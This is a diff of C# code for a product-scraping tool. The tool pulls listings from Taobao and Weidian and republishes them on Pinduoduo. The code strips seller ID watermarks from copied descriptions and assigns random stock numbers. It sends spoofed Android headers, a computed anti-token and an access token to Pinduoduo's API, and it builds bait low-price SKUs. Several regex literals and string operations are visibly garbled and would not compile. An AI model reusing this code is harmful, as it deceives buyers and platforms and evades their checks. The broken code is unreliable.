if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId) && content.Length > 100) + upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = "0"; + long up; + long.TryParse(upShopId, out up); + return up; + } + + /// + /// 清理正文 + /// + /// + /// + public static string ClearContent(string content) + { + string newContent = BaseRegex.Relpace(content, @"(]*assets\.alicdn\.com[^>]*>)", ""); + if (newContent.Contains(")", ""); + BaseRegex.Relpace(ref newContent, @"(]*>[^<]*[\d]{10,15}[^<]*

    )", ""); + BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", ""); + newContent = newContent.Replace("

     

    ", ""); + newContent = newContent.Replace("\\\n", "").Replace("var desc=", "").Replace("", ""); + newContent = newContent.Replace("", "").Replace("", ""); + newContent = newContent.Trim(' ', ';', '\''); + } + else + { + var matchImg = BaseRegex.GetMatchRegex(ref newContent, "(https:|http:)?//[^\"\'<>]+(.jpg|.jpeg|.png)"); + List imageAll = new List(); + foreach (Match match in matchImg) + { + imageAll.Add(""); + } + newContent = string.Join("", imageAll); + } + if (!newContent.Contains(" + /// 清除表格广告代码 + /// + /// + /// + public static void ClearTable(ref string html) + { + if (string.IsNullOrEmpty(html)) + return; + + int i = html.IndexOf(" 0 && i >= 0) + { + end = html.IndexOf("= 0 && (t1 < t2 || t2 < 0)) + i = t1; + if (t2 >= 0 && (t2 < t1 || t1 < 0)) + i = t2; + + } + string re = html.Substring(first, end - first + 8); + if (re.Contains("
    >() : new List(); + if (product.Images.Count > 0) + { + product.image = product.Images[0]; + product.image_from_url = product.Images[0]; + } + string sellCount = productToken["sellCount"].ToString(); + + if (string.IsNullOrEmpty(sellCount)) + { + sellCount = productToken["vagueSellCount"].ToString(); + } + if (!string.IsNullOrEmpty(sellCount)) + { + var sellCntMatch = Regex.Match(sellCount, @"((^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$)|(^[1-9]\d*|0$))(万)?"); + if (sellCntMatch.Length > 0) + { + product.saleCount = int.Parse(sellCntMatch.Value.Contains("万") ? (double.Parse(sellCntMatch.Groups[1].Value) * 10000).ToString() : sellCntMatch.Value); + } + } + //product.IsPreSale 是否预售 + // product.isPromotion 是否促销 + // + // + // product.discountPrice + // product.discount + // product.onlinePrice + // product.item_size = ""; + product.item_weight = 1; + var expressToken = productToken["delivery"]; + if (expressToken != null) + { + + string fromAddress = expressToken["from"]?.ToString() ?? ""; + var dicaddress = ResolveProductDelivery(fromAddress); + product.state = dicaddress.Key; + product.city = dicaddress.Value; + + string _expPrice = expressToken["postage"]?.ToString() ?? ""; + Regex regPrice = new Regex(@"快递[::][\s]*([\d\.]+)"); + if (regPrice.IsMatch(_expPrice)) + { + _expPrice = BaseRegex.GetMatchRegexString(ref _expPrice, @"快递[::][\s]*([\d\.]+)"); + product.express_price = _expPrice.ParseToDecimal(); + } + } + ParserProp(productToken, product); + ParserSkuProp(productToken, product); + ParserSkuMap(productToken, product); + + if (product.SkuMaps.Count > 0) + { + product.num = product.SkuMaps.Sum(a => a.number); + product.price = product.SkuMaps.Min(a => a.price); + product.before_price = product.SkuMaps.Min(a => a.before_price); + } + else + { + var onlyOneSkuMap = productToken.SelectToken("$.sku[?(@.skuId=='0')]"); + if (onlyOneSkuMap != null) + { + product.num = onlyOneSkuMap["quantity"].ToValue(0); + product.price = onlyOneSkuMap["price"].ToValue(0M); + product.before_price = onlyOneSkuMap["oldPrice"].ToValue(0M); + } + } + //if (product.price == product.before_price) + //{ + // product.isPromotion = false; + //} + string descUrl = productToken["descUrl"]?.ToString() ?? ""; + //if (!string.IsNullOrEmpty(descUrl)) + //{ + // product.content = base.GetContent(product.from_id, descUrl); + //} + + } + catch (Exception ex) + { + product.message = ex.Message; + LogSave.Add(ex.Message); + } + return product; + } + + /// + /// 解析商品属性 + /// + /// + /// + protected virtual void ParserProp(JToken productToken, ProductCollectBase productinfo) + { + JToken propToken = productToken.SelectToken("$.groupProps"); + if (propToken == null) + { + return; + } + var basePropListToken = propToken.SelectToken("$..基本信息"); + if (basePropListToken == null) + { + return; + } + var basePropsToekn = basePropListToken.SelectTokens("$.[*]"); + foreach (var item in basePropsToekn) + { + if (item.First is JProperty baseItem) + { + string name = baseItem.Name; + string value = baseItem.Value.ToString(); + if (name.Length > 50 || value.Length > 50) + continue; + productinfo.Prop.Add(new KeyValueBase(name, value)); + } + } + } + /// + /// 格式化地区 + /// + /// + /// + protected KeyValuePair ResolveProductDelivery(string sDelivery) + { + KeyValuePair dic = new KeyValuePair("浙江", "杭州"); + string[] provice = + "上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(','); + string[] city = + "上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太原,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,成都,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(','); + if (!string.IsNullOrEmpty(sDelivery)) + { + for (int i = 0; i < provice.Length; i++) + { + if (sDelivery.Contains(provice[i])) + { + string _state = provice[i]; + string _city = ""; + //Product.city = city[i]; + if (sDelivery.Length < 4) //直辖市 获取到的长度小于4 直辖市的省和市都是一样的 + { + _city = city[i]; + } + else + { + //现改成实际地址 发送运费模板 + _city = sDelivery.Replace(provice[i], ""); + } + dic = new KeyValuePair(_state, _city); + break; + } + } + } + + return dic; + } + /// + /// 解析商品Sku属性 + /// + /// + /// + protected virtual void ParserSkuProp(JToken productToken, ProductCollectBase productinfo) + { + JToken rootToken = productToken.SelectToken("$.props"); + if (rootToken == null) + { + return; + } + var skupropsToekn = rootToken.SelectTokens("$.[*]"); + foreach (var item in skupropsToekn) + { + string name = item["name"].ToString(); + long pid = item["pid"].ToValue(0L); + PropBase p = new PropBase(); + p.id = pid; + p.name = name; + + var valuesToekn = item.SelectTokens("$.values[*]"); + if (valuesToekn != null && valuesToekn.Count() > 0) + { + foreach (var valueToken in valuesToekn) + { + PropValueBase pv = new PropValueBase(); + pv.value = valueToken["vid"]?.ToString() ?? ""; + pv.name = valueToken["name"]?.ToString() ?? ""; + pv.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pv.image = valueToken["image"]?.ToString() ?? ""; + pv.image_from_url = pv.image; + p.Values.Add(pv); + } + } + productinfo.Props.Add(p); + } + + } + /// + /// 解析 Skumpa + /// + /// + /// + protected virtual void ParserSkuMap(JToken productToken, ProductCollectBase productinfo) + { + JToken rootToken = productToken.SelectToken("$.sku"); + if (rootToken == null) + { + return; + } + var skumapTokens = rootToken.SelectTokens("$.[*]"); + int i = 0; + foreach (var maptoken in skumapTokens) + { + long skuId = maptoken["skuId"].ToValue(0L); + string name = maptoken["skuName"].ToString(); + if (skuId == 0 && string.IsNullOrEmpty(name)) + { + continue; + } + + name = name.Replace("--", ":"); + int quantity = maptoken["quantity"].ToValue(0); + decimal price = maptoken["price"].ToValue(0M); + decimal oldPrice = maptoken["oldPrice"].ToValue(0M); + string propPath = maptoken["propPath"].ToString(); + string value = ""; + Regex regValue = new Regex(":(?.+?)(;|$)"); + MatchCollection matchs = regValue.Matches(name); + foreach (Match item in matchs) + { + value += "," + item.Groups["value"].Value; + } + value = value.Remove(0, 1); + SkuMapBase sku = new SkuMapBase(); + sku.id = skuId; + sku.name = name; + sku.number = quantity; + sku.price = price; + sku.before_price = oldPrice; + //sku.values = value; + productinfo.SkuMaps.Add(sku); + //i++; + } + } + } +} diff --git a/Work/CollectClass/WeiDianProductCollect.cs b/Work/CollectClass/WeiDianProductCollect.cs new file mode 100644 index 0000000..94627a4 --- /dev/null +++ b/Work/CollectClass/WeiDianProductCollect.cs @@ -0,0 +1,791 @@ +using AllBase; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work.CollectClass +{ + public class WeiDianProductCollect + { + public string Name, TempHtml = ""; + public string message = ""; + public bool OnSale = true; + public static List TempIds = new List(); + public static List DeleteIds = new List(); + public ProductCollectBase pb = new ProductCollectBase(); + public TaobaoProductBase Product; + public WeiDianProductCollect(TaobaoProductBase product) + { + Product = product; + } + public WeiDianProductCollect(string name, TaobaoProductBase product) + { + Name = name; + Product = product; + } + public void Get() + { + try + { + Getx(); + } + catch + { + } + } + + + public void Getx() + { + message = ""; + if (DeleteIds.Contains(Product.FromId)) + { + LogSave.Add(Name, "商品已经下架:" + Product.FromId); + message = "商品已经下架:" + Product.FromId; + OnSale = false; + Thread.Sleep(500); + return; + } + string cookies = ""; + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone(); + return; + } + if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml)) + Thread.Sleep(5 * 1000); + if (!TempIds.Contains(Product.FromId)) + TempIds.Add(Product.FromId); + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone(); + return; + } + bool canUse=false; + bool userData = false; + string serverTempHtml = ServerTemp.Get(4, Product.FromId.ToString(), out canUse); + if (canUse) + { + userData = true; + TempHtml = serverTempHtml; + } + string url = "https://weidian.com/item.html?itemID=" + Product.FromId; + string refere =""; + string html = ""; + if (string.IsNullOrEmpty(TempHtml) || (!TempHtml.Contains("item_name") && !TempHtml.Contains("item_name"))) + { + Thread.Sleep(2000); + if (UploadPinduoduoMain.Running || UploadPinduoduoMain.RunningReplace) + { + int it = UploadPinduoduoMain.ShopThreadCount * UploadPinduoduoMain.SingleThreadCount; + Thread.Sleep(it * 200); + } + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + TempHtml = html; + } + else + { + html = TempHtml; + } + if ((string.IsNullOrEmpty(html) || !html.Contains("catID1") || !html.Contains("cat_id_1")) && !string.IsNullOrEmpty(serverTempHtml)) + { + userData = true; + html = serverTempHtml; + } + #region 微店平台数据解析 + if (html.Contains("item_name")) + { + html = GetHtml.Decode(html); + pb.from = "微店"; + pb.id = Product.FromId; + pb.from_id = Product.FromId; + LogSave.Add(Name, "获取成功:" + Product.FromId); + pb.name = BaseRegex.GetStringJson(ref html, "item_name"); + pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "shopName"); + pb.content_pinduoduo = "";// BaseRegex.GetStringJson(ref html, "goodsDesc"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""imgs"":\[(""[\w\W]+?"")\],"); + var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + pb.Images.Add(img); + } + m = BaseRegex.GetMatchRegex(ref html, @"\{""attr_ids""[\w\W]+?\}"); + if (m.Count==0) + { + temp = BaseRegex.GetMatchRegexString(ref html, @"""sku"":([\w\W]+?})}"); + m = BaseRegex.GetMatchRegex(ref temp, @"""id"":[\w\W]+?""title""[\w\W]+?}"); + } + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "id"); + s.price = BaseRegex.GetDecimalJson(ref list, "price"); + if (s.price < 1) + continue; + int num = BaseRegex.GetIntJson(ref list, "stock"); + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "soldQuantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "img"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + s.name = BaseRegex.GetStringJson(ref list, "title");//GetName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + temp = BaseRegex.GetMatchRegexString(ref html, @"\{""attr_list"":([\w\W]+?\}\]\}\])"); + m = BaseRegex.GetMatchRegex(ref temp, @"\{""attr_title"":[\w\W]+?\}\]\}"); + string image = ""; + pb.Props.Clear(); + for (int k = 0;m!=null&&k < m.Count; k++) + { + string list = m[k].Groups[0].Value; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[k].Groups[1].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + var item = m[k].Groups[0].Value; + p = new PropBase(); + p.name = BaseRegex.GetStringJson(ref item, "attr_title"); + pb.Props.Add(p); + } + var mc= BaseRegex.GetMatchRegex(ref list, @"\{""attr_id"":[\w\W]+?\}"); + for (int i = 0; i < mc.Count; i++) + { + + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == mc[i].Groups[2].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + var item = mc[i].Groups[0].Value; + PropValueBase pv = new PropValueBase(); + pv.id = BaseRegex.GetStringJson(ref item, "attr_id"); + pv.name = BaseRegex.GetStringJson(ref item, "attr_value"); + pv.image = BaseRegex.GetStringJson(ref item, "img"); + pv.image_from_url = BaseRegex.GetStringJson(ref item, "img"); + p.Values.Add(pv); + } + } + } + if (pb.Props.Count==0) + { + PropBase p = new PropBase(); + p.name = "型号尺寸"; + pb.Props.Add(p); + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + var sku = pb.SkuMaps[i]; + PropValueBase pv = new PropValueBase(); + pv.id = sku.id.ToString(); + pv.name = sku.name; + pv.image = sku.prop_image; + pv.image_from_url = sku.prop_image; + p.Values.Add(pv); + } + } + + + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + bool ishad = false; + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + if (pb.SkuMaps[k].name.Replace(" ", "+").Contains(pb.Props[0].Values[j].name)) + { + ishad = true; + break; + } + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";"; + pb.SkuMaps.Add(sm); + } + + } + } + + if (pb.Props.Count == 2) + { + + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + for (int k = 0; k < pb.Props[1].Values.Count; k++) + { + bool ishad = false; + for (int l = 0; l < pb.SkuMaps.Count; l++) + { + + string[] li = pb.SkuMaps[l].name.Split(';'); + if (li.Length == 2) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ","+"); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + { + ishad = true; + break; + } + + } + if (li.Length == 3) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+"); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+"); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + if (li.Length == 4) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+"); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+"); + string n4 = li[3].Substring(li[3].IndexOf(":") + 1).Trim().Replace(" ", "+"); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";"; + pb.SkuMaps.Add(sm); + } + } + } + } + + if (pb.cat1 == 0) + { + FromTitleToCat.UserApi = true; + FromTitleToCat ftx = new FromTitleToCat(); + ftx.TaobaoProduct = new TaobaoProductBase(); + ftx.Title = pb.name; + ftx.TaobaoProduct.Titlte = pb.name; + ftx.TaobaoProduct.FromId = pb.from_id; + ftx.TaobaoCatId = BaseRegex.GetIntJson(ref html, "bg_category_id"); + ftx.JustGetCat = true; + ftx.Get(); + if (!string.IsNullOrEmpty(ftx.Cat1) && ftx.Cat1 != "0") + { + pb.cat1 = int.Parse(ftx.Cat1); + pb.cat2 = int.Parse(ftx.Cat2); + pb.cat3 = int.Parse(ftx.Cat3); + pb.cat4 = int.Parse(ftx.Cat4); + } + } + var ftc = new FromTitleToCat(); + pb.main_cid = ftc.GetMainCatId(pb.cat1); + pb.main_cat_name = ftc.MainCatName; + + string eprice = BaseRegex.GetMatchRegexString(ref html, @"""expressFeeDesc"":""([\w\W]+?)元起"""); + pb.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice); + + pb.mall_id = BaseRegex.GetLongJson(ref html, "mallID"); + pb.from_site_id = 6; + if (pb.price<=0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref html, "soldText"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"销量\s*([\d\.万]+)"); + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "0000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + string content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)"""); + if (string.IsNullOrEmpty(content)) + { + string vItemId = BaseRegex.GetMatchRegexString(ref html, @"itemID=([\w\W]+?)"""); + string detailUrl = "https://thor.weidian.com/detail/getDetailDesc/1.0?param={\"vItemId\":\"" + vItemId + "\"}"; + string htmldetail = GetPostTaobaoHtml.UploadTaobao(detailUrl, refere, true, cookies); + content = BaseRegex.GetMatchRegexString(ref htmldetail, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)"""); + pb.before_price = BaseRegex.GetIntJson(ref htmldetail, "marketPrice") / 100m; + m = BaseRegex.GetMatchRegex(ref htmldetail, @"""url"":""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += ""; + } + pb.content = content; + html += "
    " + htmldetail; + } + else + { + content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)"""); + pb.before_price = BaseRegex.GetIntJson(ref html, "marketPrice") / 100m; + m = BaseRegex.GetMatchRegex(ref html, @"""url"":""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += ""; + } + pb.content = content; + } + if (!userData) + ServerTemp.Set(4, Product.FromId.ToString(), html); + } + #endregion + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id)) + { + try + { + + TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb); + } + catch + { + } + } + else + { + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + } + } + + public bool DeleteAndDown(string html) + { + if (string.IsNullOrEmpty(html)) + return false; + if (html.Contains("

    商品不存在

    ")) + return true; + if (html.Contains(">原商品已下架")) + return true; + if (html.Contains(">预售<")) + return true; + return false; + } + + + + public string GetName(string list, ref ProductCollectBase pb, string image) + { + string temp = ""; + var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value_id"":([\d]+)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[i].Groups[1].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = m[i].Groups[1].Value; + if (m[i].Groups.Count > 3) + p.pinduoduo_id = m[i].Groups[3].Value; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == m[i].Groups[2].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + if (m[i].Groups.Count > 4) + pv.id = m[i].Groups[4].Value; + pv.name = m[i].Groups[2].Value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + } + + + + public static string GetPinDuoDuoSimilarProductNameByImage(string imageUrl, string pddToken) + { + var url = "http://api.yangkeduo.com/api/search/img"; + var data = JsonConvert.SerializeObject(new { flip = "1#1#" + Guid.NewGuid().ToString(), url = imageUrl.StartsWith("//") ? "https:" + imageUrl : imageUrl, sort = "_sales" }); + string userAgent = BaseClass.AndroidUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.Headers.Add("AccessToken", pddToken); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + wb.Headers.Add("Referer", "Android"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + string antiToken = SignHelper.GetSign(); + wb.Headers.Add("anti-token", antiToken); + wb.Headers.Add("PDD-CONFIG", "00102"); + wb.Headers.Add("p-appname", "pinduoduo"); + wb.Headers.Add("X-PDD-QUERIES", "width=810&height=1440&net=1&brand=Android&model=MuMu&osv=6.0.1&appv=4.70.0&pl=2"); + byte[] postData = Encoding.UTF8.GetBytes(data); + try + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + var html = Encoding.UTF8.GetString(wb.UploadData(url, "POST", postData)); + JObject jObj = JObject.Parse(html); + var productName = string.Empty; + if (jObj["items"] != null) + { + foreach (var item in jObj["items"]) + { + productName = item["goods_name"].ParseToString(); + break; + } + } + return productName; + } + catch (Exception e) + { + LogSave.Add(e.ToString()); + return ""; + } + } + + public static string GetPDDProductImageUrl(long goodsId, string pddToken) + { + var imgUrl = GetProductImageUrlViaYouHui(goodsId); + if (string.IsNullOrEmpty(imgUrl)) + { + imgUrl = GetProductImageUrlViaProductId(goodsId, pddToken); + } + return imgUrl; + } + + public static string GetProductImageUrlViaYouHui(long goodsId) + { + string imgUrl = string.Empty; + try + { + string url = "https://youhui.pinduoduo.com/goods/goods-detail?goodsId=" + goodsId + "&r=" + BitConverter.ToInt32(Guid.NewGuid().ToByteArray(), 0); + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"); + string json = GetHtml.Resove(html, ""); + if (!string.IsNullOrEmpty(json)) + { + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + foreach (string image in jObj["props"]["pageProps"]["goodsDetail"]["goodsGalleryUrls"].ToObject()) + { + imgUrl = image; + break; + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return imgUrl; + } + + public static string GetProductImageUrlViaProductId(long goodsId, string pddToken) + { + string imgUrl = string.Empty; + try + { + string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId; + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken); + string json = GetHtml.Resove(html, "window.rawData=", "}};"); + if (!string.IsNullOrEmpty(json)) + { + json += "}}"; + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + foreach (string image in jObj["store"]["initDataObj"]["goods"]["topGallery"].ToObject()) + { + imgUrl = image; + break; + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return imgUrl; + } + + public static string GenerateLowPriceSkus(long goodsId, decimal lowPrice, List productPropList, List lowPriceSpecs, string pddToken) + { + string skuContent = string.Empty; + if (productPropList == null || productPropList.Count < 1) + return skuContent; + try + { + string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId; + string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken); + string json = GetHtml.Resove(html, "window.rawData=", "}};"); + if (!string.IsNullOrEmpty(json)) + { + json += "}}"; + JObject jObj = JObject.Parse(json); + if (jObj != null) + { + var goodsDetail = jObj["store"]["initDataObj"]["goods"]; + if (goodsDetail != null) + { + StringBuilder sbSkuContent = new StringBuilder(); + //把spec value名字从要上传的商品中拿出 + List[] propValueList = new List[2]; + string[] specTypeNames = new string[2]; + for (int i = 0; i < productPropList.Count; i++) + { + propValueList[i] = new List(); + specTypeNames[i] = productPropList[i].pinduoduo_id; + foreach (var propValue in productPropList[i].Values) + { + if (propValue.is_used) + propValueList[i].Add(propValue.id); + } + } + + var skuList = goodsDetail["skus"].ToObject(); + JToken pickedSku = null; + string specFirstValue = null; + List specSecondList = new List(); + List pickedSkuList = new List(); + var thumbUrl = string.Empty; + int specFirstIndex = -1; + //从低价引流商品中选出一个sku,有上传商品spec第一组中没有的spec + foreach (var sku in skuList) + { + var specs = sku["specs"].ToObject(); + decimal groupPrice = sku["groupPrice"].ParseToDecimal(); + int quantity = sku["quantity"].ParseToInt(); + if (specs.Count > 0 && quantity != 0 && groupPrice != 0 && groupPrice <= lowPrice) + { + for (int ii = 0; specFirstIndex == -1 && ii < specs.Count; ii++) + { + // 比较得出上传商品中第一组spec对应低价引流商品的spec索引 + if (specs[ii]["spec_key_id"].ParseToString() == specTypeNames[0]) + { + specFirstIndex = ii; + if (productPropList.Count == 2) + { + if (specs[1 - 